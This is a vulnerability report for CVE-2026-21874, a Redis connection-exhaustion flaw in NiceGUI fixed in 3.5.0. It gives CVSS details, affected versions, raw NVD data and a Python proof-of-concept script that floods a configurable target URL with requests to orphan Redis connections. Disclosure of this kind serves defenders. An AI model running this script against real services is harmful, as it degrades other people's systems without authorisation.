Security Vulnerability Report
中文
CVE-2026-21874 CVSS 5.3 MEDIUM

CVE-2026-21874

Published: 2026-01-08 10:15:56
Last Modified: 2026-01-15 17:50:02

Description

NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:* - VULNERABLE
NiceGUI >= v2.10.0 且 < v3.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-21874 PoC - NiceGUI Redis Connection Exhaustion This PoC demonstrates how an attacker can exhaust Redis connections by repeatedly opening and closing HTTP connections to a NiceGUI app. """ import asyncio import aiohttp import time from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://localhost:8080" # Change to target URL NUM_ITERATIONS = 100 DELAY_BETWEEN_REQUESTS = 0.1 async def open_and_close_session(session, session_id): """ Simulate opening a browser tab and closing it immediately. This creates a Redis connection that is never released. """ headers = { 'User-Agent': f'PoC-Client-{session_id}', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } try: # Open connection async with session.get(TARGET_URL, headers=headers, timeout=aiohttp.ClientTimeout(total=5)) as response: await response.read() # Close immediately (simulating tab close) # The Redis connection is not released return True except Exception as e: print(f"Request {session_id} failed: {e}") return False async def attack(): """Main attack function""" connector = aiohttp.TCPConnector(limit=0) # No connection limit async with aiohttp.ClientSession(connector=connector) as session: tasks = [] for i in range(NUM_ITERATIONS): task = asyncio.create_task(open_and_close_session(session, i)) tasks.append(task) await asyncio.sleep(DELAY_BETWEEN_REQUESTS) results = await asyncio.gather(*tasks) success_count = sum(1 for r in results if r) print(f"[+] Completed {success_count}/{NUM_ITERATIONS} requests") print(f"[+] Each request creates an orphan Redis connection") print(f"[+] After {NUM_ITERATIONS} iterations, Redis connections should be exhausted") if __name__ == "__main__": print(f"[*] CVE-2026-21874 PoC - NiceGUI Redis Connection Exhaustion") print(f"[*] Target: {TARGET_URL}") print(f"[*] Starting attack...") asyncio.run(attack())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21874", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:55.820", "lastModified": "2026-01-15T17:50:01.530", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NiceGUI is a Python-based UI framework. From versions v2.10.0 to 3.4.1, an unauthenticated attacker can exhaust Redis connections by repeatedly opening and closing browser tabs on any NiceGUI application using Redis-backed storage. Connections are never released, leading to service degradation when Redis hits its connection limit. NiceGUI continues accepting new connections - errors are logged but the app stays up with broken storage functionality. This issue has been patched in version 3.5.0."}, {"lang": "es", "value": "NiceGUI es un framework de interfaz de usuario (UI) basado en Python. Desde las versiones v2.10.0 hasta la 3.4.1, un atacante no autenticado puede agotar las conexiones de Redis abriendo y cerrando repetidamente pestañas del navegador en cualquier aplicación NiceGUI que utilice almacenamiento respaldado por Redis. Las conexiones nunca se liberan, lo que lleva a una degradación del servicio cuando Redis alcanza su límite de conexiones. NiceGUI sigue aceptando nuevas conexiones; se registran errores, pero la aplicación permanece activa con una funcionalidad de almacenamiento rota. Este problema ha sido parcheado en la versión 3.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-772"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zauberzeug:nicegui:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.10.0", "versionEndExcluding": "3.5.0", "matchCriteriaId": "1FBD1A44-26D5-44F9-9D65-6654C756FB59"}]}]}], "references": [{"url": "https://github.com/zauberzeug/nicegui/commit/6c52eb2c90c4b67387c025b29646b4bc1578eb83", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/zauberzeug/nicegui/releases/tag/v3.5.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-mp55-g7pj-rvm2", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-mp55-g7pj-rvm2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}